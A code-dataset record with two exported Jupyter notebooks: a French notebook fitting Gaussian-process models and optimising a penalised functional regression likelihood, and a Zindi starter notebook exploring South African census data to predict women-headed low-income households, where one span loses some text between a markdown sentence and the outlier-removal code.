(qui contient par défaut le bruit gaussien E_i) et une méthode d'optimisation par minimisation de la negative log vraisemblance relative aux hyperparamètres de m, k et sig. \n\n# +\nimport pyGPs\n\n# Données choisies pour l'exemple\nidv=1\npar=0\n\nx=np.asarray(L[idv][par])\ny=np.asarray(Xdata[idv][par])\nz=np.linspace(0,T[idv],50)\n\nmoy=np.mean(y)\n\nmodel = pyGPs.GPR() # GP regression\n# Spécification du modèle (Celles ci sont facultatives car elles correspondent aux paramètres par défaut de pyGPs.GPR)\n# On définit la forme et les paramètres initiaux de la fonction de covariance du prior GP \nk1=pyGPs.cov.RBF(log_ell=0.0, log_sigma=0.0) \nk2=pyGPs.cov.Periodic(log_ell=0., log_p=0., log_sigma=0.)\nk=pyGPs.cov.SumOfKernel(k1,k2)\n# Evaluation d'un scalaire par la fonction\n# Evaluation d'un array\nm=pyGPs.mean.Const() # Fonction moyenne du GP (Ici constante nulle)\nmodel.setPrior(mean=m,kernel=k) \nmodel.setNoise(log_sigma=-2.30258)# On peut aussi donner une valeur initiale pour la variance de l'erreur (0.1 ici)\n\n# Inférence \nmodel.getPosterior(x, y) # fit default model (mean zero & rbf kernel) with data\n#model.optimize(x, y) # optimize hyperparamters (default optimizer: single run minimize of gaussian likelihood)\nmodel.predict(z) # predict test cases\nmodel.plot() # and plot result\n\n# Extraction des hyperparamètres optimisés\nprint('HYPERPARAMETRES AJUSTES')\nprint('Moyenne empirique')\nprint(moy)\nprint('Moyenne estimée GP')\nprint(model.meanfunc.hyp[0])\nprint('Hyperparamètres de la fonction de covariance estimés')\nprint(np.exp(model.covfunc.hyp))\nprint('Ecart type de l erreur gaussienne')\nprint(np.exp(model.likfunc.hyp)[0])\n# Voir la page détaillant les entrées des fonctions pour plus de détails sur les hyperparamètres avec d'autres modèles\n# http://www-ai.cs.uni-dortmund.de/weblab/static/api_docs/pyGPs/Default.html\n\n# -\n\n# ## B) Estimation des paramètres GP sur les données simulées \n\n# +\nmodel = pyGPs.GPR()\nk1=pyGPs.cov.RBF(log_ell=0.0, log_sigma=0.0) \nk2=pyGPs.cov.Periodic(log_ell=0., log_p=0., log_sigma=0.)\nk=pyGPs.cov.SumOfKernel(k1,k2)\nm=pyGPs.mean.Const() \nmodel.setPrior(mean=m,kernel=k) \nmodel.setNoise(log_sigma=-2.30258)\n\npar_est=np.zeros((N,D,len(model.covfunc.hyp)+1),float)\nmoy_est=np.zeros((N,D),float)\n\ntps1 = time.clock()\nfor i in range(N):\n for j in range(D):\n # On effectue la régression sur processus gaussien pour chaque jeu de données et on stocke les paramètres estimés\n y=np.asarray(Xdata[i][j])\n x=np.asarray(L[i][j])\n model.optimize(x, y)\n moy_est[i,j]=model.meanfunc.hyp[0]\n par_est[i,j,:]=np.concatenate( (np.array(np.exp(model.covfunc.hyp)), np.array(np.exp(model.likfunc.hyp))), axis=0 )\ntps2 = time.clock()\n\nnobs_moy=np.mean(M_nt)\nprint(\"temps écoulé pour ajuster \", N*D ,\" courbes avec en moyenne \" , nobs_moy, \" points :\")\nprint(tps2 - tps1)\n# -\n\n# ## C) Calcul de la vraisemblance de Y conditionnellement à X et aux paramètres estimés\n#\n# Suite à une simulation de différentes séries temporelles, nous avons ajusté des paramètres associées à chacune d'entre elle selon un modèle de Régression sur Processus Gaussien. A présent, nous simulons les labels $Y_i$ selon le modèle VDFR en utilisant la trajectoire réelle des variables fonctionnelles. Puis, nous tentons d'évaluer la vraisemblance des labels $Y_i$ conditionellement aux $X^i_j$ et aux paramètres $\\gamma^i_j,\\theta^i_j,\\eta^i_j$ appris avec la modélisation des variables fonctionnelles par des processus gaussien.\n\n# +\n\n# Calcul des matrices de covariances et inverses Psi pour chaque courbe grâce aux paramètres estimés\nN=len(L)\nD=len(L[0])\nn_par=len(par_est[0,0,:])-1\nPsi=[[ [] for j in range(D)] for i in range(N)]\nsyk=[[ [] for j in range(D)] for i in range(N)]\nk_foncs=[[ [] for j in range(D)] for i in range(N)]\n\nt=sy.Symbol('t')\ns=sy.Symbol('s')\nfor i in range(N):\n for j in range(D):\n m_ij=len(L[i][j])\n par=par_est[i,j,:]\n # On reconstruit le noyau k_ij (en mode perso et en sympy) à partir des paramètres estimés précédemment\n kPerio= sy_Periodic(symb=(s,t),el= par[3],per=par[4],sig=par[5]) \n kRBF= sy_RBF(symb=(s,t), el=par[1],sig=par[2])\n syk[i][j]= kPerio + kRBF\n k_foncs[i][j]= sy.lambdify((t,s),syk[i][j],'numpy')\n K= cov(k_foncs[i][j] , L[i][j] )\n Psi[i][j]=linalg.inv(K+par[0]*np.eye(m_ij))\nprint('Exemple : Premier noyau')\nsy.pprint(syk[0][0])\n\n# -\n\n# # 3) Test du critère $\\mathcal{L}(Y|X,\\mathcal{P})$ et Optimisation\n# ## A) sur un cas de régression linéaire simple\n\n# +\n\n# On annule les observations de variables fonctionnelles ainsi que les moyennes estimées de manière\n# à annuler les intégrales dans la vraisemblance et le gradient.\nfor i in range(N):\n for j in range(D):\n Xdata[i][j]=np.zeros(len(L[i][j]))\n moy_est[i,j]=0.\n# On génère des labels Y autour d'une moyenne fixée\nY=np.random.normal(100.,5.,N)\nprint('Y')\nprint(Y)\nKbeta=3\n\nJ=200\n\np=1\n\nZ=1.*np.ones((N,p),float)\n#np.random.normal(0.,10.,N*p).reshape((N,p))\n\n# Phi_mat\nPhi= Base([Kbeta,Kbeta])\nPhi_mat= Comp_Phi(Phi,T,J)\nprint(Phi_mat.shape)\n# Init de b\nb=np.zeros((Kbeta**2,D),float)\n# Init de Alpha\nAlpha=np.zeros(p,float)\n\nPo=np.concatenate( ( Alpha.reshape(-1), (b.T).reshape(-1)) )\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[0])\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[1])\n\nprint('vraisemblance de la vrai moyenne')\n\nPo=np.concatenate( ( Alphaf.reshape(-1), (b.T).reshape(-1)) )\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[0])\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[1])\n\n\n\n# +\ngamme=np.array([.001,.003,.01,0.03,0.1,0.3,1.])\nl=len(gamme)\nb=np.zeros(D*Kbeta**2,float)\nPn=np.concatenate( ( Alpha.reshape(-1), b ) )\nPstock=np.concatenate( ( Alpha.reshape(-1), b ) )\nstock=np.zeros(l,float)\n\nfor i in range(10):\n V=L_YlX_noC(Pn,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)\n print(\"Norme b \"+str(Pn.dot(Pn))+\" Vrais \"+ str(V[0]))\n for j in range(l):\n Pstock[0:p]=Pn[0:p]-gamme[j]*V[1][0:p]\n stock[j]=L_YlX_noC(Pstock,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[0] \n which_min=[ x for x in range(l) if stock[x]==np.min(stock) ][0]\n Pn[0:p]=Pn[0:p]-gamme[which_min]*V[1][0:p]\n\nprint('Paramètres finaux')\nprint(Pn)\nprint('Vrais finale')\nprint(V[0])\nprint('Grad final')\nprint(V[1])\n\n# -\n\n# ## B) avec une variable fonctionnelle\n\nKbeta=4\n# Initialisation aléatoire de b (ne doit pas être à 0)\nb= np.random.normal(0.,20.,D*Kbeta**2).reshape((Kbeta**2,D)) \n#print(b)\n\n# +\np=1\nZ=np.zeros((N,p),float)\n#np.random.normal(0.,10.,N*p).reshape((N,p))\n\nAlpha=np.zeros(p,float)\nPo=np.concatenate( ( Alpha.reshape(-1), (b.T).reshape(-1)) )\n\nJ=50\n# Phi_mat\nprint(\"time : \"+str(time.clock()))\n# symbole associé au petit t (c'est à dire l'instant dans la période de suivi)\nt=sy.Symbol('t')\n# smbole associé au grand T (c'est à dire la durée de suivie)\ns=sy.Symbol('s')\n\nsyPhi=sy.ones(Kbeta**2,1)\nv=[np.arange(Kbeta),np.arange(Kbeta)]\nexpo=expandnp(v)\nPhi_fonc=[ [] for j in range(Kbeta**2) ]\nfor x in range(len(expo[:,0])):\n syPhi[x]=(t**expo[x,0])*(s**expo[x,1])\n Phi_fonc[x]=sy.lambdify((t,s),syPhi[x],'numpy') \n\nprint(\"Calcul de Phi_mat\")\nPhi_mat=Comp_Phi(Phi_fonc,T,J)\nprint(\"time : \"+str(time.clock()))\n\nV=L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k_foncs,Psi,moy_est)\nprint('Vrais initiale : '+str(V[0]))\nprint(\"time : \"+str(time.clock()))\nprint('Gradient initial : '+str(V[1]))\n#print('Vrais perturbée')\ndelta=1e-1\nPdel=Po+delta*np.ones(len(Po))\n#V=L_YlX_noC(Pdel,Z,L,T,Xdata,Y,Phi_mat,k_foncs,Psi,moy_est)\n#print(V[0])\n#print(V[1])\n# -\n\n# ### Nelder-Mead\n\n# +\n# Ou avec scipy.optimize.minimize, la méthode de Nelder-Mead est une d'optimisation qui n'utilise pas le gradient\n#Po=np.concatenate( ( Alpha.reshape(-1), (b.T).reshape(-1) ) )\nPo=Res.x\nprint('Vrais initiale')\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[0])\n\nopts0={'disp': True, 'ftol': 1., 'maxiter': 800}\nprint('Résultat par Nelder Mead')\nprint(time.clock())\nRes=sc.optimize.minimize(L_YlX_noC_V,x0=Po, args= (Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est) , method='Nelder-Mead',options=opts0)\nprint(time.clock())\nb_learned=Res.x[p:(p+D*Kbeta**2)]\nb_learned=(b_learned).reshape((D,Kbeta**2)).T\nprint(Res)\nprint('b_learned')\nprint(b_learned)\n\n# -\n\n# ### BFGS\n# La méthode L-BFGS-B est une méthode du gradient mais on lui fournit simplement la fonction de vraisemblance, le gradient étant approximé numériquement durant l'algorithme. \n#\n\n# +\n\nprint('Vrais initiale')\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[0])\n\nopts0={'disp': True, 'maxiter': 15}\nprint('Résultat par BFGS')\nRes=sc.optimize.minimize(L_YlX_noC_V,x0=Po, args= (Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est) ,jac=None, method='BFGS',options=opts0)\nb_learned=Res.x[p:(p+D*Kbeta**2)]\nb_learned=(b_learned).reshape((D,Kbeta**2)).T\nprint(Res)\nprint('b_learned')\nprint(b_learned)\n# -\n\n# ### BFGS avec gradient\n\n# +\nJ=200\n# Phi_mat\nPhi_mat=Comp_Phi(Phi_fonc,T,J)\n\nprint('Vrais initiale')\nprint(L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k_foncs,Psi,moy_est)[0])\n\nopts0={'disp': True, 'maxiter': 100}\nprint(\"time : \"+str(time.clock()))\nprint('Résultat par BFGS')\nRes=sc.optimize.minimize(L_YlX_noC,x0=Po, args= (Z,L,T,Xdata,Y,Phi_mat,k_foncs,Psi,moy_est) ,jac=True, method='BFGS',options=opts0)\nb_learned=Res.x[p:(p+D*Kbeta**2)]\nb_learned=(b_learned).reshape((D,Kbeta**2)).T\n\nprint(\"time : \"+str(time.clock()))\nprint(\"Valeur finale : \"+str(Res.fun))\nprint(\"Gradient final : \"+str(Res.jac))\nprint(\"Nombre d'itérations : \"+str(Res.nit))\nprint(Res.message)\n#print('b_learned')\n#print(b_learned)\n\n# +\nJ=100\n# Phi_mat\nPhi_mat=Comp_Phi(Phi_fonc,T,J)\n\nit=10\nb_liste=[ [] for i in range(it)]\nmessages=[ [] for i in range(it)]\nV_Its=np.zeros((3,it),float)\nJac=np.zeros((it,len(Po)),float)\nopts0={'disp': True, 'maxiter': 100}\n\nfor i in range(it):\n b= np.random.normal(0.,40.,D*Kbeta**2).reshape((Kbeta**2,D)) \n Po=np.concatenate( ( Alpha.reshape(-1), (b.T).reshape(-1)) )\n\n print(\"time : \"+str(time.clock()))\n Res=sc.optimize.minimize(L_YlX_noC,x0=Po, args= (Z,L,T,Xdata,Y,Phi_mat,k_foncs,Psi,moy_est) ,jac=True, method='BFGS',options=opts0)\n \n b_liste[i]=Res.x[p:(p+D*Kbeta**2)]\n b_liste[i]=(b_liste[i]).reshape((D,Kbeta**2)).T\n messages[i]=Res.message\n V_Its[0,i]=Res.fun\n V_Its[1,i]=Res.nit\n Jac[i,:]=Res.jac\n\n#print(messages)\n#print(V_Its)\nprint(Jac)\n \n# -\n\n# ## C) Résultats AMSE \n\n# +\nsyb=sy.ones(1,Kbeta**2)\nfor x in range(len(expo[:,0])):\n syb[x]=sy.Symbol('b'+str(x))\nsyBeta=syb*syPhi\n\nfor i in range(it):\n b_learned=b_liste[i]\n Beta_fonc_est=[ [] for j in range(D)]\n for j in range(D):\n replacements= [ (sy.Symbol('b'+str(x)),b_learned[x,j]) for x in range(Kbeta**2)]\n syBeta_subs=syBeta.subs(replacements)[0]\n Beta_fonc_est[j]=sy.lambdify((t,s),syBeta_subs,'numpy')\n\n AMSE=0.\n Tmax=np.max(T)\n Tmin=np.min(T)\n nb=3\n grille=np.vstack((np.linspace(Tmin,Tmax,nb),np.arange(nb)))\n for T_,i in grille.T:\n for t_ in grille[0,0:(int(i)+1)]:\n true_b=true_beta.val([t_,T_])\n est_b=Beta_fonc_est[0](t_,T_)\n AMSE= AMSE + (true_b - est_b )**2\n AMSE=AMSE/(nb*(nb+1)/2)\n\n print(\"AMSE avec une base de \"+str(Kbeta**2)+\" fonctions\")\n print(AMSE)\n\n# -\n\n# ### Surface de la fonction paramètre estimée\n\n# +\nsizegrid=150\nx=np.linspace( 0.1, np.max(T), num=sizegrid)\ny=np.linspace( 0.1, np.max(T), num=sizegrid)\narr=[x,y]\nGrid=expandnp(arr)\nx=Grid[:,0]\ny=Grid[:,1]\narrV=np.zeros(sizegrid**2,float)\nn=0\nfor i in range(sizegrid):\n for j in range(sizegrid):\n if j<=i:\n arrV[n] = Beta_fonc_est[0](x[n],y[n])\n n+=1\nXfig=x.reshape((sizegrid,sizegrid))\nYfig=y.reshape((sizegrid,sizegrid))\nZfig=arrV.reshape((sizegrid,sizegrid))\n\nplt.imshow(Zfig, vmin=Zfig.min(), vmax=Zfig.max(), origin='lower',\n extent=[ Yfig.min(), Yfig.max(),Xfig.min(),Xfig.max()])\nplt.colorbar()\nplt.show()\n\n# -\n\n# ### Surface de la fonction paramètre réelle\n\n# +\narrV=np.zeros(sizegrid**2,float)\nn=0\nfor i in range(sizegrid):\n for j in range(sizegrid):\n if j<=i:\n arrV[n] = true_beta.val([x[n],y[n]])\n n+=1\nXfig=x.reshape((sizegrid,sizegrid))\nYfig=y.reshape((sizegrid,sizegrid))\nZfig=arrV.reshape((sizegrid,sizegrid))\n\nplt.imshow(Zfig, vmin=Zfig.min(), vmax=Zfig.max(), origin='lower',\n extent=[Xfig.min(),Xfig.max(), Yfig.min(), Yfig.max()])\nplt.colorbar()\nplt.show()\n# -\n\n# ## D) Tests pour la validation du Gradient\n\n# +\nJ=5\n# Phi_mat\nPhi= Base([Kbeta,Kbeta])\nPhi_mat= Comp_Phi(Phi,T,J)\n\n# Vérification du gradient avec scipy.optimize.approx_fprime et check_grad\nprint(\"Po\")\nprint(Po)\nprint(\"Gradient calculé en Po\")\ncalc=L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)[1]\nprint(calc)\nAppr=sc.optimize.approx_fprime(Po, L_YlX_noC_V, 1e-7*np.ones(len(Po)), Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)\nprint(\"Approx du gradient en Po\")\nprint(Appr)\nprint(np.sqrt((Appr-calc).dot((Appr-calc))))\nA=sc.optimize.check_grad(L_YlX_noC_V,L_YlX_noC_G,Po, Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est )\nprint(\"Cette fonction renvoie la racine de la somme des carrés des erreurs entre le gradient approximé numériquement et le gradient calculé par la deuxième entrée\")\nprint(A)\n# -\n\n# ### Surface de la vraisemblance locale au niveau d'une section 2D passant par le point d'initialisation\n\n# +\nJ=15\n# Phi_mat\nPhi= Base([Kbeta,Kbeta])\nPhi_mat= Comp_Phi(Phi,T,J)\n\nsizegrid=10\nmaxray=10.\nx=np.linspace( Po[1]-maxray, Po[1]+maxray, num=sizegrid)\ny=np.linspace( Po[2]-maxray, Po[2]+maxray, num=sizegrid)\narr=[x,y]\nGrid=expandnp(arr)\nx=Grid[:,0]\ny=Grid[:,1]\nprint(\"Po\")\nprint(Po)\nV=L_YlX_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)\nprint(\"Grad en Po\")\nprint(V[1])\nAppr=sc.optimize.approx_fprime(Po, L_YlX_noC_V, 1e-7*np.ones(len(Po)), Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)\nprint(\"Approx du gradient en Po\")\nprint(Appr)\nprint(\"Somme des carrés des écarts\")\nprint(np.sqrt((Appr-V[1]).dot((Appr-V[1]))))\narrV=np.zeros(sizegrid**2,float)\nP=Po+np.zeros(len(Po))\nfor i in range(sizegrid**2):\n P[1]=x[i]\n P[2]=y[i]\n arrV[i]=L_YlX_noC_V(P,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est)\n\nXfig=x.reshape((sizegrid,sizegrid))\nYfig=y.reshape((sizegrid,sizegrid))\nZfig=arrV.reshape((sizegrid,sizegrid))\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.plot_surface(Xfig, Yfig, Zfig)\n# -\n\n# # 4) Régression fonctionnelle pénalisée : $\\mathcal{L}(Y|X,\\mathcal{P})+\\lambda Pen(\\beta)$\n#\n# La pénalité de $\\beta$ est dérivée à partir des intégrale du carré de la courbure des fonctions $\\phi_i \\phi_j$ sur le domaine. On calcule donc ces intégrales avant l'optimisation pour les transmettre à la fonction L_Y|X_pen_noCens chargée de l'évaluation de la vraisemblance et du gradient.\n#\n# ## A) Courbure de la base\n#\n# On commence tout d'abord par calculer les matrices des intégrales des produits croisés des dérivées secondes des fonction de la base $\\phi_1,...,\\phi_{K_{\\beta}}$.\n\n# +\nKbeta=5\nTmax=np.max(T)\nJ=100\n# symbole associé au petit t (c'est à dire l'instant dans la période de suivi)\nt=sy.Symbol('t')\n# smbole associé au grand T (c'est à dire la durée de suivie)\ns=sy.Symbol('s')\n\nsyPhi=sy.ones(Kbeta**2,1)\nv=[np.arange(Kbeta),np.arange(Kbeta)]\nexpo=expandnp(v)\nPhi_fonc=[ [] for j in range(Kbeta**2) ]\nfor x in range(len(expo[:,0])):\n syPhi[x]=(t**expo[x,0])*(s**expo[x,1])\n #Phi_fonc[x]=sy.lambdify((t,s),syPhi[x],'numpy') \nsy.pprint(syPhi[:])\n(Is,Ic,It)=J22_fast(syPhi,Tmax,J)\n# I_pen\nI_pen=Is+2*Ic+It\n\n# On fixe l'hyperparamètre lié à la pénalité\nLambda=1.\n# -\n\n# ## B) Test\n\n# +\n# Initialisation aléatoire de b (ne doit pas être à 0)\nb=np.random.normal(0.,5.,D*Kbeta**2).reshape((Kbeta**2,D))\n\nPo=np.concatenate( ( Alpha.reshape(-1), (b.T).reshape(-1)) )\n\nJ=10\n# Phi_mat\nPhi= Base([Kbeta,Kbeta])\nPhi_mat= Comp_Phi(Phi,T,J)\n\nsizegrid=25\nmaxray=50.\nx=np.linspace( Po[1]-maxray, Po[1]+maxray, num=sizegrid)\ny=np.linspace( Po[2]-maxray, Po[2]+maxray, num=sizegrid)\narr=[x,y]\nGrid=expandnp(arr)\nx=Grid[:,0]\ny=Grid[:,1]\nprint(\"Po\")\nprint(Po)\nV=L_YlX_pen_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est,I_pen,Lambda)\nprint(\"Grad en Po\")\nprint(V[1])\nAppr=sc.optimize.approx_fprime(Po, L_YlX_pen_noC_V, 1e-4*np.ones(len(Po)), Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est,I_pen,Lambda)\nprint(\"Approx du gradient en Po\")\nprint(Appr)\nprint(\"Ecart-type\")\nprint(np.sqrt((Appr-V[1]).dot((Appr-V[1])))/(Kbeta**2))\n\nJ=10\n# Phi_mat\nPhi= Base([Kbeta,Kbeta])\nPhi_mat= Comp_Phi(Phi,T,J)\n\narrV=np.zeros(sizegrid**2,float)\nP=Po+np.zeros(len(Po))\nfor i in range(sizegrid**2):\n P[1]=x[i]\n P[2]=y[i]\n arrV[i]=L_YlX_pen_noC_V(P,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est,I_pen,Lambda)\n\nXfig=x.reshape((sizegrid,sizegrid))\nYfig=y.reshape((sizegrid,sizegrid))\nZfig=arrV.reshape((sizegrid,sizegrid))\nplt.imshow(Zfig, vmin=Zfig.min(), vmax=Zfig.max(), origin='lower',\n extent=[Xfig.min(),Xfig.max(), Yfig.min(), Yfig.max()])\nplt.colorbar()\nplt.show()\n\n# +\nJ=15\n# Phi_mat\nPhi= Base([Kbeta,Kbeta])\nPhi_mat= Comp_Phi(Phi,T,J)\n\nprint('Vrais initiale')\nprint(L_YlX_pen_noC(Po,Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est,I_pen,Lambda)[0])\n\nopts0={'disp': True, 'maxiter': 15}\nprint('Résultat par BFGS')\ndeb=time.clock()\nRes=sc.optimize.minimize(L_YlX_pen_noC,x0=Po, args= (Z,L,T,Xdata,Y,Phi_mat,k,Psi,moy_est,I_pen,Lambda) ,jac=True, method='BFGS',options=opts0)\nb_learned=Res.x[p:(p+D*Kbeta**2)]\nb_learned=(b_learned).reshape((D,Kbeta**2)).T\nprint(str(time.clock()-deb)+\" secondes\")\nprint(\"Current function value : \"+str(Res.fun))\nprint(\"Jacobian : \"+str(Res.jac))\nprint(\"Message : \"+str(Res.message))\nprint(\"iterations : \"+str(+Res.nit))\nprint('b_learned')\nprint(b_learned)\n# -\n\n\n","repo_name":"ChrisBotella/GPVDFR","sub_path":"Test2step.ipynb","file_name":"Test2step.ipynb","file_ext":"py","file_size_in_byte":20422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"1442870734","text":"# + [markdown] id=\"aBJaE--wKYOJ\"\n# # Starter Notebook - StatsSA\n#\n# This notebook introduces the Zindi competition **Women in Big Data South Africa - Women-Headed Households in South Africa**. We'll take a quick look at the data, show how to create a model, estimate the score you'll get on Zindi, prepare your submission and get onto the leaderboard. I've also given some hints as to how to get a better score - once you have your first submission in, these might give you some ideas for what to try next.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"gjXXbrWfHOFv\" outputId=\"8c2b5dbe-3cab-4550-bbf3-f4134c998231\"\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\n# + [markdown] id=\"g6T5r-RjKYON\"\n# # Loading the data\n# Make sure the CSV files provided by Zindi are in the same folder as this notebook. If it's running on Google Colab, you can use the 'files' tab on the left to upload them. We load the training data from Train.csv, and print out the variable descriptions here for easy reference. \n\n# + id=\"gV8Fpz7vKYOP\"\nimport pandas as pd\nimport numpy as np\nimport os, random, math, glob\nfrom IPython.display import Image as IM\nfrom IPython.display import clear_output\nfrom matplotlib import pyplot as plt\n# %matplotlib inline\nplt.rcParams['figure.figsize'] = [16, 10]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 386} id=\"gfGrrqGlKYOV\" outputId=\"5e9acaa8-85ed-4f42-ae38-a63a91e84323\"\ndf = pd.read_csv('Train.csv')\ndf.head()\n\n# + id=\"-CWlzT0is2Dk\"\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"ytHU7Sh2KYOc\" outputId=\"711c6e7a-13e7-4688-fc2c-52a93d1ab18f\"\nvar_desc = pd.read_csv('variable_descriptions.csv')\npd.set_option('display.max_colwidth', 200) # So that we can see the full descriptions\nvar_desc\n\n# + [markdown] id=\"5chJlQBxKYOi\"\n# # Quick EDA\n# Before we dive into modelling, let's take a quick look at the data and see what we have to work with. \n\n# + [markdown] id=\"kO6UB7uQKYOj\"\n# ## Looking at the target variable\n# The purpose of this competition is to predict the percentage of households in a ward that are woman-headed and have an annual household income of = (Q3+1.5*IQR))\n# Lower bound\nlower = np.where(df['target'] <= (Q1-1.5*IQR))\n \n''' Removing the Outliers '''\ndf.drop(upper[0], inplace = True)\ndf.drop(lower[0], inplace = True)\n\n# + id=\"ssRFNkUQ_SCS\"\nfrom sklearn.preprocessing import MinMaxScaler\n\nscaler = MinMaxScaler()\n# transform data\nscaled = scaler.fit_transform(df[in_cols])\n\n# + id=\"TXF4nleO_SMr\"\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 623} id=\"fhCt8mEIKYOl\" outputId=\"db697fa4-c080-4f13-ea6a-3e11b2aa3708\"\n# Plot the distribution\nax = df['target'].plot(kind='hist')\nplt.xlabel('Percentage of households that are w-headed and have income under R19.6k/month')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 299} id=\"m8-JNY9LQbjN\" outputId=\"e90b5bb6-f41f-4d9e-c1a0-d784dd18ee9e\"\ndf[in_cols].head()\n\n# + [markdown] id=\"Y5898TVfKYOs\"\n# # Looking at a few interesting correlations\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"fVMaahPiKYOv\" outputId=\"79cca9d9-596e-4ef0-abce-85257489629e\"\n# Strong +ve correlations\ndf.corr()['target'].sort_values(ascending=False).head(10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"d61CC8IlKYO4\" outputId=\"d6397aec-dbb7-405d-86a3-de35cb8d9805\"\n# And negative correlations\ndf.corr()['target'].sort_values().head(10)\n\n# + [markdown] id=\"N15jY1v6KYPC\"\n# There are some high correlations here. Let's pick a few and investigate.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 623} id=\"fDO5fVCRKYPF\" outputId=\"5c7ae8b7-4984-40b7-b647-6e2e1f845c94\"\n# pw_00: running water in the home. Places where almost everyone has piped water tend to be more affluent.\ndf.plot(x='pw_00', y='target', kind='scatter', alpha=0.3)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 623} id=\"29V9eKNLKYPM\" outputId=\"753a274c-0a12-4302-e5b2-543153beb476\"\n# Nightlights (NL)\ndf.plot(x='NL', y='target', kind='scatter', alpha=0.3)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 623} id=\"ZzFVZFX0KYPU\" outputId=\"8cb39e22-4626-4c7e-b0cd-d5275a61d370\"\n# dw_01: Percentage of dwellings of type: Traditional dwelling/hut/structure made of traditional materials\n# Places where many of the buildings are 'traditional' tend to have more households \n# in the target category. \ndf.plot(x='dw_01', y='target', kind='scatter', alpha=0.3)\n\n# + [markdown] id=\"5qsD6leVKYPb\"\n# Notice that for the dwelling type example above, the left hand side of the graph is chaotic. Fitting a straight line would tell part of the story, but to fully capture the trend we'd have to look at this data in conjunction with info on all the other dwelling types, and think about how trends might be different in rural vs urban areas. \n\n# + [markdown] id=\"cwqE14_oKYPe\"\n# ### Tip - Take a look at more of these variables and explore their relationships further. This will give you some extra insight that may come in handy for feature engineering. It's also an interesting exercise on it's own - this is data about South Africa, and South African people. ...\n\n# + [markdown] id=\"88Ek8kY9KYPg\"\n# # Modelling\n# At this stage, most tutorials/notebooks would go into feature engineering. But I like to do a quick model FIRST, to see how tough the problem is and give us a baseline to compare to. So, in this section we'll try a simple linear model and then a more complicated Random Forest regressor, and set up a means to score our models locally (so that we don't have to keep submitting on Zindi).\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sSFrqw2cKYPi\" outputId=\"bbc1becb-a8bc-4cd8-fcb7-b68ccc4af9e8\"\n# Define our input columns.\nin_cols = df.drop('ADM4_PCODE', axis=1).columns[4:]\nin_cols\n\n# + id=\"TAYCY5rqIavv\"\n\n\n# + id=\"IQEf2be-KYPp\"\n# Specify our target variable\nycol = 'target'\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"U9PLT6QxKYPw\" outputId=\"384885c7-9920-4bf3-ea4e-0482eaa138bd\"\n# Fit a basic linear regression model, keeping the last 1000 rows for scoring\nfrom sklearn.linear_model import LinearRegression\nlm = LinearRegression()\nlm.fit(df[in_cols][:-1000], df[ycol][:-1000])\n\n# + [markdown] id=\"wL09aomvQ-eC\"\n# ### Evaluating Predictions\n#\n# How do we evaluate our predictions? if we run `lm.score(df[in_cols][-1000:], df[ycol][-1000:])`, we'll get something called the 'R-Squared Score', which is a measure of how well our model explains the variation in the target variable. The closer to 1, the better. But this can be hard to visualize, so I like to plot predictions vs true values to get a better idea of how close our model is coming.\n#\n# Neither of these tell us what our score on Zindi will look like. The metric used to evaluate submissions is RMSE - more info [here](https://www.statisticshowto.datasciencecentral.com/rmse/). \n#\n# Let's evaluate our first linear model:\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Wm9HFSAVQ8aD\" outputId=\"e1123bf4-9229-409d-c359-ff8ffdb7df92\"\nlm.score(df[in_cols][-1000:], df[ycol][-1000:]) # R2 score\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"p3YGn8nfQ12S\" outputId=\"350b77d7-799c-4958-ce72-ee573ad404bf\"\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\n\nprint(\"RMSE:\", sqrt(mean_squared_error(df[ycol][-1000:], lm.predict(df[in_cols][-1000:]))))\n\n# + [markdown] id=\"bruw_txzR3QW\"\n# Yikes! That seems bad? What is going on...\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 606} id=\"xh-hhjgmKYP3\" 